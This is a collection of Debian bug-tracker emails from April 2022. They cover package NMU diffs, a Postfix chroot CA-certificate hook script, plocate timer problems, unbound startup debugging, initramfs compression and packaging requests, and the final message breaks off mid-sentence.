date:20220418

On Sunday, 10 April 2022 13:39:54 CEST James Valleroy wrote:
> In the log it showed "WARNING System is on battery power, stopping". 
> It uses the on_ac_power command from powermgmt-base package.

Pretty sure the problem is in the on_ac_power script from powermgmt-base.
It appears to be a really simplistic script which searches through 4 
categories and I checked (with `ls -l ` what it would do on my Rock64:

1) /sys/class/power_supply/
total 0
(iow: that directory does exist, but is empty)

2) ACPI (through /proc/acpi/ac_adapter)
ls: cannot access '/proc/acpi': No such file or directory

3) PMU (through /proc/pmu/info)
ls: cannot access '/proc/pmu/info': No such file or directory

4) APM (through /proc/apm)
ls: cannot access '/proc/apm': No such file or directory

My guess is that it's unaware of device-tree ... which is a problem (for ARM 
devices).

signature.asc
Description: This is a digitally signed message part.

Bug#999018: xvier: diff for NMU version 1.0-7.7

2022-04-18 Thread Guilherme de Paula Xavier Segundo

Control: tags 999018 + patch
Control: tags 999018 + pending

Dear maintainer,

I've prepared an NMU for xvier (versioned as 1.0-7.7) and
uploaded it to DELAYED/2. Please feel free to tell me if I
should delay it longer.

Regards.

diff -u xvier-1.0/debian/changelog xvier-1.0/debian/changelog
--- xvier-1.0/debian/changelog
+++ xvier-1.0/debian/changelog
@@ -1,3 +1,11 @@
+xvier (1.0-7.7) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * debian/rules: added missing targets build-arch and build-indep.
+(Closes: #999018)
+
+ -- Guilherme de Paula Xavier Segundo   Mon, 18 Apr 2022 16:01:05 -0300
+
 xvier (1.0-7.6) unstable; urgency=medium
 
   * Non-maintainer upload.

Bug#965595: info2www: diff for NMU version 1.2.2.9-24.2

2022-04-18 Thread Guilherme de Paula Xavier Segundo

Control: tags 965595 + patch
Control: tags 965595 + pending

Dear maintainer,

I've prepared an NMU for info2www (versioned as 1.2.2.9-24.2) and
uploaded it to DELAYED/2. Please feel free to tell me if I
should delay it longer.

Regards.

diff -u info2www-1.2.2.9/debian/changelog info2www-1.2.2.9/debian/changelog
--- info2www-1.2.2.9/debian/changelog
+++ info2www-1.2.2.9/debian/changelog
@@ -1,3 +1,10 @@
+info2www (1.2.2.9-24.2) unstable; urgency=medium
+
+  * Non-maintainer upload.
+  * Bumped debhelper compat to 7. (Closes: #965595)
+
+ -- Guilherme de Paula Xavier Segundo   Mon, 18 Apr 2022 14:10:25 -0300
+
 info2www (1.2.2.9-24.1) unstable; urgency=medium
 
   * Non maintainer upload by the Reproducible Builds team.

Bug#1009842: postfix: does not copy all CA certificates from the truststore

Dixi quod…

>ca-certificates setup. In fact, I’d prefer to control the files
>placed into the chroot, copying just the /usr/share/ca-bundle/certs/
>files and symlinks (which are already c_rehash’d) to get rid of
>the ssl-cert-snakeoil.pem presence (which Debian seems to insist
>on for some reason) from that directory as well.

For the archives (and for others suffering from similar issues),
I came up with the following, and it works:

### {{{ BEGIN

root@evolvis:~ # cat /usr/lib/postfix/configure-instance.hack.sh
#!/bin/mksh
# save as /usr/lib/postfix/configure-instance.hack.sh

# chown 0:0 /usr/lib/postfix/configure-instance.hack.sh && chmod 555 
/usr/lib/postfix/configure-instance.hack.sh && dpkg-divert --local --rename 
--divert /usr/lib/postfix/configure-instance.orig.sh --add 
/usr/lib/postfix/configure-instance.sh && ln -s configure-instance.hack.sh 
/usr/lib/postfix/configure-instance.sh

set -e
. /usr/lib/postfix/configure-instance.orig.sh

if [[ -n $NEED_CHROOT && -n $SYNC_CHROOT ]]; then
#print -ru2
#print -ru2 -- "queue_dir=${queue_dir@Q}"
#print -ru2 -- "sca_path=${sca_path@Q}"
#print -ru2 -- "dca_path=${dca_path@Q}"
#print -ru2 -- "dest_dir=${dest_dir@Q}"

sca_rp=$(realpath "$sca_path")
dca_rp=$(realpath "$dca_path")
src_rp=$(realpath /etc/ssl/certs)
if [[ $sca_rp = "$src_rp" || $dca_rp = "$src_rp" ]]; then
rm -rf "$queue_dir/etc/ssl/certs"
mkdir -p "$queue_dir/etc/ssl/certs"
cp -a /usr/share/ca-bundle/certs/* "$queue_dir/etc/ssl/certs/"
fi
fi

### }}} END

Where /usr/share/ca-bundle/certs/ is referenced in the third-to-last
line of this script, insert your favourite location, of course. This
construct uses GNU coreutils’ cp(1) -a flag to copy symlinks as-is,
as /usr/share/ca-bundle/certs/ contains c_rehash-style symbolic links
already; if your source does not, adjust appropriately.

I first thought I’d have to actually patch that script but it turns
out I can just “hook afterwards”.

bye,
//mirabilos
-- 
„Cool, /usr/share/doc/mksh/examples/uhr.gz ist ja ein Grund,
mksh auf jedem System zu installieren.“
-- XTaran auf der OpenRheinRuhr, ganz begeistert
(EN: “[…]uhr.gz is a reason to install mksh on every system.”)

Bug#1009842: postfix: does not copy all CA certificates from the truststore

Dixi quod…

>smtpd_tls_CApath = /etc/ssl/certs
>smtp_tls_CApath = $smtpd_tls_CApath

It also seems to copy+rehash twice for this very common setup…

bye,
//mirabilos
-- 
(gnutls can also be used, but if you are compiling lynx for your own use,
there is no reason to consider using that package)
-- Thomas E. Dickey on the Lynx mailing list, about OpenSSL

Bug#1009842: postfix: does not copy all CA certificates from the truststore

Package: postfix
Version: 3.5.6-1+b1
Severity: normal
X-Debbugs-Cc: t...@mirbsd.de

I was just debugging why Postfix (after finding first
smtpd_tls_received_header=yes then smtpd_tls_ask_ccert=yes)
does not properly verify the SSL certificates provided by
my sendmail servers.

Turns out that…

smtpd_tls_CApath = /etc/ssl/certs
smtp_tls_CApath = $smtpd_tls_CApath

… does not work, obviously, if the thing is chrooted, which
it is in Debian (which is good) and the certificates are not
present in the chroot.

However, the start code only copies things over from the system
store that are both *.pem and not symlinks. It then proceeds to
run c_rehash manually.

This probably works for the default ca-certificates ones, but
not if people add custom root certificates there in already
c_rehash’d form or have a different root store setup which
also does the same. I have, for example…

lrwxrwxrwx 1 root root 37 14. Feb 2020  /etc/ssl/certs/00673b5b.0 -> 
/usr/share/ca-bundle/certs/00673b5b.0

This would require a copy of the entire /etc/ssl/certs/ directory
*following* symbolic links (and then, maybe jdupes to at least make
hardlinks out of duplicates).

I fully get why this would not be desirable for the stock Debian
ca-certificates setup. In fact, I’d prefer to control the files
placed into the chroot, copying just the /usr/share/ca-bundle/certs/
files and symlinks (which are already c_rehash’d) to get rid of
the ssl-cert-snakeoil.pem presence (which Debian seems to insist
on for some reason) from that directory as well.

However, /usr/lib/postfix/configure-instance.sh does not seem to
offer any kind of hook for setting up the SSL certificate root store
inside the chroot. It doesn’t even seem to be written to allow for
a customised setup of *any* kind; the code looks like it’d overwrite
everything if I were to manually copy the files there.

So please add a way to make the SSL root store setup customisable.


-- System Information:
Debian Release: 11.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-security'), (500, 
'stable-debug'), (500, 'oldstable-updates'), (500, 'oldoldstable'), (500, 
'stable'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.10.0-8-amd64 (SMP w/2 CPU threads)
Kernel taint flags: TAINT_WARN
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/lksh
Init: sysvinit (via /sbin/init)

Versions of packages postfix depends on:
ii  adduser3.118
ii  cpio   2.13+dfsg-4
ii  debconf [debconf-2.0]  1.5.77
ii  dpkg   1.20.9
ii  e2fsprogs  1.46.2-2
ii  libc6  2.31-13+deb11u3
ii  libdb5.3   5.3.28+dfsg1-0.8
ii  libicu67   67.1-7
ii  libnsl21.3.0-2
ii  libsasl2-2 2.1.27+dfsg-2.1+deb11u1
ii  libssl1.1  1.1.1n-0+deb11u1
ii  lsb-base   11.1.0
ii  netbase6.3
ii  ssl-cert   1.1.0+nmu1

Versions of packages postfix recommends:
ii  ca-bundle [ca-certificates]  20190604
ii  python3  3.9.2-3

Versions of packages postfix suggests:
ii  bsd-mailx [mail-reader]  8.1.2-0.20180807cvs-2
ii  libsasl2-modules 2.1.27+dfsg-2.1+deb11u1
pn  postfix-cdb  
pn  postfix-doc  
pn  postfix-ldap 
pn  postfix-lmdb 
pn  postfix-mysql
pn  postfix-pcre 
pn  postfix-pgsql
pn  postfix-sqlite   
pn  procmail 
pn  resolvconf   
pn  ufw  

-- debconf information excluded

Bug#1009841: python3-pylsp-flake8: (binary) package name is misleading

2022-04-18 Thread Julian Gilbey

Package: python3-pylsp-flake8
Version: 0.4.0-2
Severity: normal

I am confused as to why this package is called "python3-pylsp-flake8",
which seems misleading as the upstream is called "pyls-flake8" and the
Python module provided by this package is called "pyls_flake8".  It
would be really good if the binary package could be renamed as
python3-pyls-flake8 (and perhaps the source as python-pyls-flake8).
It is not currently in stable, so it would not affect any released
Debian versions.  There are also no reverse dependencies in testing
that would be affected by this.

Best wishes,

   Julian

Bug#737564: #737564 is becoming more urgent

2022-04-18 Thread Elliott Mitchell

For some time the Linux kernel hasn't guaranteed the order of block
devices.  #737564 is a good solution to this issue.

(yeah, suddenly running into devices getting different designations due
to restart)


-- 
(\___(\___(\__  --=> 8-) EHM <=--  __/)___/)___/)
 \BS (| ehem+sig...@m5p.com  PGP 87145445 |)   /
  \_CS\   |  _  -O #include  O-   _  |   /  _/
8A19\___\_|_/58D2 7E3D DDF4 7BA6 <-PGP-> 41D1 B375 37D0 8714\_|_/___/5445

Bug#1009797: apt: support "nodoc" build profile

2022-04-18 Thread David Kalnischkies

Hi,

On Sun, Apr 17, 2022 at 06:50:19PM -0700, Vagrant Cascadian wrote:
> This also allows building functional apt packages with a smaller
> dependency chain, so might help with bootstrapping efforts too!

Bootstrap usually doesn't care about arch:all packages, so that argument
doesn't work that well here. I would even say it works against you:

> I thought docbook* and xsltproc could also be excluded from the
> Build-Depends, but that triggered some other build failures.

They (alongside po4a) are used to build the manpages which we ship in
our arch:any packages (we could go with apt-common, but while that
saves mirror space, it could waste system space as you now have manpages
installed for things you haven't installed… or we go with multiple
apt-common packages which increases complexity and overhead… so far we
haven't gone down this road as it seems not very beneficial in the end).

We certainly could improve support for nodoc (upon your patch) by not
building the manpages in this profile which could indeed help boot-
strapping (although they never asked so far, which I am somewhat
surprised now to be honest) – but it would also end up changing the
contents of every package and hence spoil src:apt reproducibility in
that it will be reproducible on paper, but nobody can actually use the
result.

> Of course, ideally building documentation reproducibly would be very
> nice as well, so it would be good to eventually fix the underlying
> issues in doxygen:
> 
>   
> https://tests.reproducible-builds.org/debian/issues/unstable/nondeterminstic_todo_identifiers_in_documentation_generated_by_doxygen_issue.html
>   
> https://tests.reproducible-builds.org/debian/issues/unstable/nondeterministic_ordering_in_documentation_generated_by_doxygen_issue.html

It seems like hard issue(s) to solve and I am certainly not up to work
on this, but there seem not too many effected, so perhaps its worthwhile
to go the route of a nodoxygen (or pkg.*.nodoxygen) profile instead as
it would mean less variation and e.g. a reproducible binary apt package
would at least mean something as everyone has that variant installed.

I would at least be happy to beat our build system into omitting just
the doxygen part rather than some (currently with patch) or all
(possible future) docs. Shouldn't be hard (= famous last words).

Best regards

David Kalnischkies

signature.asc
Description: PGP signature

Bug#1009840: ITP: text-engine -- Rich-text editing framework for GTK 4

2022-04-18 Thread Heather Ellsworth

Package: text-engine
X-Debbugs-Cc: debian-de...@lists.debian.org
Owner: Heather Ellsworth 
X-Debbugs-Cc: heather.ellswo...@canonical.com
Version: 0.1.1-1
Severity: wishlist
License: LGPL
Programming Lang: C
Upstream Author : Matt Jakeman
URL: https://github.com/mjakeman/text-engine

 Text Engine is a rich-text editing framework for GTK 4. The primary user of
 this library is bluetype but it can be used wherever rich text display and
 editing is needed.

The source is text-engine and the packages provided are
libtext-engine-dev, libtext-engine-examples, and libtext-engine-doc.

This app will be maintained by the Debian GNOME team. Packaging is at:
https://salsa.debian.org/gnome-team/text-engine

It is a dependency of gnome-shell-extension-manager from version 0.3.0+

Thanks,
Heather

Bug#1009839: issue when hard drive full

2022-04-18 Thread Shane Thornton

Package: gdm
Version: 41.0
Hello, I think I found what may be a major issue related to X Window System
and Linux in general. If you run out of hard-drive space it can cause an
issue where when you reboot, when it gets to the login screen it will be a
black screen and have startup issues. I think this may be an issue in
Debian also. If possible, if you can create a new installation of Debian
such as in VirtualBox and then create a program such as in Node.js that
copies a 20MB file then 1MB file repeatedly with new file names until the
harddrive is full. It will then start bugging out and having issues. This
may be causing a lot of problems for people. So the Linux OS and Debian
needs stress-tested to ensure it will works after the harddrive is
completely full.

Bug#900028: closed by Michael Tokarev (Re: unbound: Fails to start)

2022-04-18 Thread Michael Tokarev

18.04.2022 22:25, James Cloos wrote:

closing the report like that makes no sense whatsoever.

Please feel free to reopen this bug report and be ready to provide
some more information to debug it and to find and fix the problem.
Lacking that it makes no sense whatsoever to keep it.

FWIW, 1.7.1-1 version of unbound does not have a code that corresponds
to the strace you provided (which I initially haven't noticed at all).
It is interesting to understand what actually happened there.
Also, getrandom() appears to be working on that kernel (4.5.0-1-amd64).
And also, when getrandom() fails for unbound with ENOSYS (this errno
is handled in a special way there), it goes nest to trying reading
bytes from /dev/urandom (this is why I said there's no code corresponding
to that strace), and only after that one fails *too*, it errors out.

Not killed, though. Here's the code:

getrandom call:
https://salsa.debian.org/dns-team/unbound/-/blob/debian/1.7.1-1/compat/getentropy_linux.c#L123

if that fails with ENOSYS here's next urandom way:
https://salsa.debian.org/dns-team/unbound/-/blob/debian/1.7.1-1/compat/getentropy_linux.c#L136

and only after everything else failed, we have:

https://salsa.debian.org/dns-team/unbound/-/blob/debian/1.7.1-1/compat/getentropy_linux.c#L187

#undef FAIL_INSTEAD_OF_TRYING_FALLBACK
#ifdef FAIL_INSTEAD_OF_TRYING_FALLBACK
raise(SIGKILL);
#endif

note the #undef here. This code (raise, which is tgkill syscall)
is not compiled in.

So it goes to a fallback and.. works.
And this is something I can confirm after downloading 1.7.1-1 version
of unbound from snapshot.debian.org and trying it. It works even when
I disable getrandom() syscall for it.

So you have quite a situation in there. Everything seem to be out of
order. Feel free to reopen it and be ready to perform some debugging.

Thanks,

/mjt

Bug#1009143: plocate: Similar issue here

2022-04-18 Thread Steinar H. Gunderson

On Mon, Apr 18, 2022 at 04:50:58PM -0400, James Cloos wrote:
> SG> This was fixed in plocate 1.1.12. ... Which version are you running?
> as i mentioned the sbc has buster, so:
> 
>   ii  plocate1.1.8-2~bpo10+1 armhfmuch faster locate

And also, a very old kernel?

/* Steinar */
-- 
Homepage: https://www.sesse.net/

Bug#988716: After the release is before the release

2022-04-18 Thread Geert Stappers

} > Upstream changed paths for the framework manifest files in recent
} > releases and did not maintain backward compatibility links resulting
} > in 4.3.4 no longer being able to install the frameworks.
} 
} Had a quick look, and it's worse than that. Not just a change in paths,
} but an entire new package manager, with a new API (/v2/ in the URLs).

} >   ... package is basically unusable for new installations
} > Since it did not exist in buster, it is always a new installation
} > in bullseye. Considering we are in late freeze phase I suggest to
} > drop the package from Debian testing (and upload a new upstream
} > release to sid).
} 
} Sounds like the right call.
} 

This bugreport has now a link
to https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=976665
 New upstream version 5.0.x available

Bug#976665: solves 988716

2022-04-18 Thread Geert Stappers

Hi,

I think the 5.x version of plafform.io would fix #988716
( platformio 4.3.4 cannot download required frameworks )

This bugreport has now a link to that BR
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=988716


Groeten
Geert Stappers
-- 
Silence is hard to parse

Bug#1009143: plocate: Similar issue here

2022-04-18 Thread James Cloos

oh.  is that all it is. ...

so the reporter's issue is certainly different.

SG> This was fixed in plocate 1.1.12. ... Which version are you running?

as i mentioned the sbc has buster, so:

  ii  plocate1.1.8-2~bpo10+1 armhfmuch faster locate

-JimC
-- 
James Cloos  OpenPGP: 0x997A9F17ED7DAEA6

Bug#1009838: macaulay2: wrong dependency on base-files from linktree

2022-04-18 Thread Steve Langasek

Package: macaulay2-common
Version: 1.19.1+ds-6
Severity: normal
User: ubuntu-de...@lists.ubuntu.com
Usertags: origin-ubuntu jammy

Hi Doug,

The macaulay2-common package has a versioned dependency on base-files that
is generated by dh_linktree.  This is because
debian/macaulay2-common.linktrees generates links to
usr/share/common-licenses/ that are then resolved to a dependency.

- You do not have to depend on base-files, this package is essential.
- The only time you need to depend on an essential package is if you have a
  versioned dependency.  However, in this case the versioned dependency is
  itself wrong; dh_linktree is generating a >= versioned dependency against
  the version of base-files that is currently installed at build time, but
  that version is arbitrary and is not an indication of the minimum version
  required (GPL-2 and GPL-3 are not new).
- You should not in general need to make symlinks to the license files.  All
  packages have their license information available in the standard location
  of /usr/share/doc/$package/copyright, as this package does.

We noticed this in Ubuntu because an upload of base-files triggered a run of
macaulay2's autopkgtests, which take a long time to run and are irrelevant
to a base-files update.

Please drop these links, and with them the gratuitous versioned dependency.

-- 
Steve Langasek   Give me a lever long enough and a Free OS
Debian Developer   to set it on, and I can move the world.
Ubuntu Developer   https://www.debian.org/
slanga...@ubuntu.com vor...@debian.org


signature.asc
Description: PGP signature

Bug#1009827: plocate updatedb is not being run

2022-04-18 Thread Ron Murray

You're right, of course.

However, I'm the only user of this box, and I'd never heard of systemd
timers, or even plocate, until yesterday. I certainly don't recall
disabling it. Strange.

Anyway, let's see if it runs tonight, and if it does, we can close this
bug.

Thanks,

 .Ron

-- 
Ron Murray 
PGP Fingerprint: 4D99 70E3 2317 334B 141E 7B63 12F7 E865 B5E2 E761


On Mon, 2022-04-18 at 21:52 +0200, Steinar H. Gunderson wrote:
> On Mon, Apr 18, 2022 at 03:46:21PM -0400, Ron Murray wrote:
> > root@khufu:~# systemctl status plocate-updatedb.timer
> > ○ plocate-updatedb.timer - Update the plocate database daily
> > Loaded: loaded (/lib/systemd/system/plocate-updatedb.timer;
> > disabled;
> > vendor preset: enabled)
> 
> The postinst script enables it (through dh_installsystemd), so this
> really
> indicates something or someone disabled it after installation.
> 
> /* Steinar */

Bug#977360: libsasl2-modules-gssapi-mit: SCRAM is not a GSSAPI-MIT mechanism


You are right. I do not think that there was much thought put in on adding the 
mechanism,
as you can read in #628067.

I think, SCRAM should be moved to the libsasl2-modules package. Any comments on 
that?

Bug#997080: openvdb: FTBFS: help2man: can't get `--help' info from ./debian/tmp/usr/bin/vdb_view

2022-04-18 Thread Jonathan Rubenstein




This bug is blocking openimageio, which blocks blender. Can this be 
fixed, is it still not reproducible?



Best Regards,

Jonathan Rubenstein

Bug#1009827: plocate updatedb is not being run

2022-04-18 Thread Steinar H. Gunderson

On Mon, Apr 18, 2022 at 03:46:21PM -0400, Ron Murray wrote:
> root@khufu:~# systemctl status plocate-updatedb.timer
> ○ plocate-updatedb.timer - Update the plocate database daily
> Loaded: loaded (/lib/systemd/system/plocate-updatedb.timer; disabled;
> vendor preset: enabled)

The postinst script enables it (through dh_installsystemd), so this really
indicates something or someone disabled it after installation.

/* Steinar */
-- 
Homepage: https://www.sesse.net/

Bug#1009827: plocate updatedb is not being run

2022-04-18 Thread Ron Murray

Here's what it says:

root@khufu:~# systemctl status plocate-updatedb.timer
○ plocate-updatedb.timer - Update the plocate database daily
Loaded: loaded (/lib/systemd/system/plocate-updatedb.timer; disabled;
vendor preset: enabled)
Active: inactive (dead)
Trigger: n/a
Triggers: ● plocate-updatedb.service

I noticed the "disabled" line, so I enabled it. Now it says

root@khufu:~# systemctl status plocate-updatedb.timer
○ plocate-updatedb.timer - Update the plocate database daily
Loaded: loaded (/lib/systemd/system/plocate-updatedb.timer; enabled;
vendor preset: enabled)
Active: inactive (dead)
Trigger: n/a
Triggers: ● plocate-updatedb.service

We'll see how it goes tonight.

-- 
Ron Murray 
PGP Fingerprint: 4D99 70E3 2317 334B 141E 7B63 12F7 E865 B5E2 E761


On Mon, 2022-04-18 at 20:49 +0200, Steinar H. Gunderson wrote:
> On Mon, Apr 18, 2022 at 02:34:22PM -0400, Ron Murray wrote:
> >    The daily update.db job for plocate is not being run. Last time
> > it
> > ran on my system was December 30, 2021. Manual updates work fine.
> 
> What does systemd say about the timer? (E.g., sudo systemctl status
> plocate-updatedb.timer.)
> 
> /* Steinar */

Bug#1009837: xdotool: new upstream release available

2022-04-18 Thread Matti Klock

Package: xdotool
Version: 1:3.20160805.1-4
Severity: normal
X-Debbugs-Cc: matti-debianb...@twonth.com

In 2021, xdotool issued its first release in five years, and it includes some 
new features:

https://github.com/jordansissel/xdotool/releases

It's been stable for a few months. Packaging the new version would be awesome.


-- System Information:
Debian Release: 11.0
  APT prefers impish-updates
  APT policy: (500, 'impish-updates'), (500, 'impish-security'), (500, 
'impish'), (500, 'akamai'), (200, 'jammy'), (100, 'impish-backports')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 5.14.21-051421-generic (SMP w/8 CPU threads)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages xdotool depends on:
ii  libc6 2.34-0ubuntu3.2
ii  libx11-6  2:1.7.2-1
ii  libxdo3   1:3.20160805.1-4

xdotool recommends no packages.

xdotool suggests no packages.

-- no debconf information

Bug#900028: closed by Michael Tokarev (Re: unbound: Fails to start)

2022-04-18 Thread James Cloos

closing the report like that makes no sense whatsoever.

unbound as installed did not work.  at all.

blowing off that report is incomprehensible.

the bug looks to have been fixed since then, though, so closing
as fixed would have been reasonable.

-JimC
-- 
James Cloos  OpenPGP: 0x997A9F17ED7DAEA6

Bug#1008818: why is this rpm's fault?

la...@debian.org dixit:

>On my bullseye machine sudo rpm -qa creates the subdirectory in
>/root/.rpmdb as root. So IMO this works correct.

Not with !env_reset in sudoers, though :( as I wrote in the last mail.

bye,
//mirabilos
-- 
Gestern Nacht ist mein IRC-Netzwerk explodiert. Ich hatte nicht damit
gerechnet, darum bin ich blutverschmiert… wer konnte ahnen, daß SIE so
reagier’n… gestern Nacht ist mein IRC-Netzwerk explodiert~~~
(as of 2021-06-15 The MirOS Project temporarily reconvenes on OFTC)

Bug#1009807: Kernels with no compression support no longer work

2022-04-18 Thread Ben Hutchings

Control: tag -1 moreinfo

On Mon, 2022-04-18 at 13:30 +0300, Raul Tambre wrote:
> Package: initramfs-tools
> Version: 0.141
> Severity: important
> 
> Dear maintainer,
> 
> I was using a custom downstream kernel required for my hardware. The 
> kernel had only CONFIG_RD_XZ enabled, which I wasn't aware of.
> With version 0.141 initramfs creation fails with:
> 
>Processing triggers for initramfs-tools (0.141) ...
>update-initramfs: Generating /boot/initrd.img-4.14.102-rt53
>grep: /boot/config-4.14.102-rt53: No such file or directory
>W: zstd compression (CONFIG_RD_ZSTD) not supported by kernel, using gzip
>grep: /boot/config-4.14.102-rt53: No such file or directory
>E: gzip compression (CONFIG_RD_GZIP) not supported by kernel
>update-initramfs: failed for /boot/initrd.img-4.14.102-rt53 with 1.
>dpkg: error processing package initramfs-tools (--configure):
> installed initramfs-tools package post-installation script 
> subprocess returned error exit status 1
> 
> After commit 035190cc4385c0441dddc1bbaba000cf7f1f179b the code tries to 
> default to gzip if the first method didn't work, and errors if so. 
> Previously it would fall back to no compression.
[...]

I think you are being confused by the "early initramfs" that is
prepended to the main initramfs.  The early initramfs contains x86
microcode and must be uncompressed.  The main initramfs presumably can
be uncompressed, but initramfs-tools has never supported that and has
only ever had a fallback to gzip, which was assumed to be supported by
all kernel configurations.

It seems to me that your custom kernels have been booting without
actually using the main initramfs, because they could not decompress it
and they had all the necessary drivers built-in.

If you don't want or need an initramfs then (assuming you use "make
deb-pkg") you can disable CONFIG_BLK_DEV_INITRD and the package will
then also disable building an initramfs on installation.

If you do want an initramfs, then you should make sure the initramfs-
tools and kernel configurations agree on which compression method to
use.

Ben.

-- 
Ben Hutchings
To err is human; to really foul things up requires a computer.

signature.asc
Description: This is a digitally signed message part

Bug#959860: rc.local for shutdown

Hi Mark,

> On Mon, Apr 18, 2022 at 07:44:11AM +0100, Mark Hindley wrote:
> > There is already a wishlist bug with patch[1]. Maybe you could test and 
> > refine
> > it?
>
> I have had a quick look at this today and have the attached patch (based on
> Patrick's original suggestions) for review and testing.

thanks, I’ll test that sometime within the next two weeks or so.

bye,
//mirabilos
-- 
15:41⎜ Somebody write a testsuite for helloworld :-)

Bug#1009827: plocate updatedb is not being run

2022-04-18 Thread Steinar H. Gunderson

On Mon, Apr 18, 2022 at 02:34:22PM -0400, Ron Murray wrote:
>The daily update.db job for plocate is not being run. Last time it
> ran on my system was December 30, 2021. Manual updates work fine.

What does systemd say about the timer? (E.g., sudo systemctl status
plocate-updatedb.timer.)

/* Steinar */
-- 
Homepage: https://www.sesse.net/

Bug#1009836: python3-pylsp-flake8: give upstream source in the d/copyright file

2022-04-18 Thread Julian Gilbey

Package: python3-pylsp-flake8
Version: 0.4.0-2
Severity: serious

The debian/copyright file for this package currently does not state
the location of the upstream sources.  (Marked "serious" because this
is a violation of Policy section 12.5.)

I'm happy to fix this myself if you would like me to.

Best wishes,

   Julian

Bug#1009835: transition: hmat-oss

2022-04-18 Thread Pierre Gruet

Package: release.debian.org
Severity: normal
User: release.debian@packages.debian.org
Usertags: transition

Dear Release team,

I would like to request a transition slot for hmat-oss. This would be a
tiny transition with only 1 reverse dependency. The reason is upstream changed
the interface quite a lot recently. The version I would like to upload to
unstable has cleared NEW.

The automatic ben file looks good.

The reverse dependency:
* openturns
ftbfs with the new library, but (as it is team-maintained by Debian Science
team, of which I am a member) I have uploaded a fixed version of it to
experimental, and it builds fine. A bug with severity important has been filed.
I am ready to start transitioning when you tell me.

openturns is also part of other ongoing transitions, it will comply with all
of them.

Best regards,

-- 
Pierre

Bug#569828: manpages/synop.xsl makes a mess of long function names

Control: affects -1 - src:linux

On Monday, 18 April 2022 20:20:10 CEST Ben Hutchings wrote:
> The kernel documentation no longer uses DocBook.  But if no fix has
> been applied then other projects are probably still be affected.

In that case it seems appropriate to remove the 'affects' tag.

I personally don't find it (generally) useful to keep bugs open where it's 
unlikely to effect any action to resolve it. And if someone was still 
(practically) affected, they should file a bug in the current issue tracker.
I'll leave it up to the maintainer whether any new action should be taken, 
especially since there's also a patch.

It came onto my radar when I tried to see whether I could reduce the bug list 
here: https://bugs.debian.org/cgi-bin/pkgreport.cgi?repeatmerged=no&src=linux
and removing the affects has that effect.

Cheers,
  Diederik

signature.asc
Description: This is a digitally signed message part.

Bug#1009834: RFS: backintime/1.3.2-0.1 [NMU] [RC] -- simple backup/snapshot system

2022-04-18 Thread Fabio Fantoni


Package: sponsorship-requests
Severity: important

Dear mentors,

I am looking for a sponsor for my package "backintime":

 * Package name    : backintime
   Version : 1.3.2-0.1
   Upstream Author : [fill in name and email of upstream]
 * URL : https://github.com/bit-team/backintime
 * License : GPL-2+, GFDL-NIV-1.1+
 * Vcs : https://salsa.debian.org/jmw/pkg-backintime
   Section : utils

The source builds the following binary packages:

  backintime-common - simple backup/snapshot system (common files)
  backintime-qt - simple backup/snapshot system (graphical interface)
  backintime-qt4 - Qt 4 front-end for backintime (transitional package)

I created the PR initially 3 months ago with only update of d/watch: 
https://salsa.debian.org/jmw/pkg-backintime/-/merge_requests/2


As no reply, backintime not working (don't start anymore for issue with 
latest python), yesterday I prepared an update to latest upstream 
version to return to have it working and did a fast test of 
build/install/use. I want try to require also a sync exception for Jammy 
(next ubuntu LTS) that will be released shortly, this is because I 
uploaded in mentors the next day.



To access further information about this package, please visit the 
following URL:


  https://mentors.debian.net/package/backintime/

Alternatively, you can download the package with 'dget' using this command:

  dget -x 
https://mentors.debian.net/debian/pool/main/b/backintime/backintime_1.3.2-0.1.dsc


Changes since the last upload:

 backintime (1.3.2-0.1) unstable; urgency=medium
 .
   * Non-maintainer upload.
   * New upstream release (Closes: #1008653, #865744).
   * d/watch: support also latest versions without initial v
 (Closes: #1003776).
   * Remove d/patches: applied upstream.

Regards,
--
  Fabio Fantoni



OpenPGP_signature
Description: OpenPGP digital signature

Bug#1009833: src:connectagram: fails to migrate to testing for too long: new build dependency not available on s390x


Source: connectagram
Version: 1.2.11-2
Severity: serious
Control: close -1 1.3.1-1
Tags: sid bookworm
User: release.debian@packages.debian.org
Usertags: out-of-sync

Dear maintainer(s),

The Release Team considers packages that are out-of-sync between testing 
and unstable for more than 60 days as having a Release Critical bug in 
testing [1]. Your package src:connectagram has been trying to migrate 
for 61 days [2]. Hence, I am filing this bug. In your latest upload you 
added a new build dependency. However, that build dependency isn't 
available on s390x where your package built successfully in the past. I 
suggest you file an RM bug (ftp.debian.org pseudo package) to have your 
s390x binary remove from unstable.


If a package is out of sync between unstable and testing for a longer 
period, this usually means that bugs in the package in testing cannot be 
fixed via unstable. Additionally, blocked packages can have impact on 
other packages, which makes preparing for the release more difficult. 
Finally, it often exposes issues with the package and/or
its (reverse-)dependencies. We expect maintainers to fix issues that 
hamper the migration of their package in a timely manner.


This bug will trigger auto-removal when appropriate. As with all new 
bugs, there will be at least 30 days before the package is auto-removed.


I have immediately closed this bug with the version in unstable, so if 
that version or a later version migrates, this bug will no longer affect 
testing. I have also tagged this bug to only affect sid and bookworm, so 
it doesn't affect (old-)stable.


If you believe your package is unable to migrate to testing due to 
issues beyond your control, don't hesitate to contact the Release Team.


Paul

[1] https://lists.debian.org/debian-devel-announce/2020/02/msg5.html
[2] https://qa.debian.org/excuses.php?package=connectagram



OpenPGP_signature
Description: OpenPGP digital signature

Bug#1009832: src:tanglet: fails to migrate to testing for too long: new build dependency not available on s390x


Source: tanglet
Version: 1.5.6-1
Severity: serious
Control: close -1 1.6.1.1-1
Tags: sid bookworm
User: release.debian@packages.debian.org
Usertags: out-of-sync

Dear maintainer(s),

The Release Team considers packages that are out-of-sync between testing 
and unstable for more than 60 days as having a Release Critical bug in 
testing [1]. Your package src:tanglet has been trying to migrate for 61 
days [2]. Hence, I am filing this bug. In your latest upload you added a 
new build dependency. However, that build dependency isn't available on 
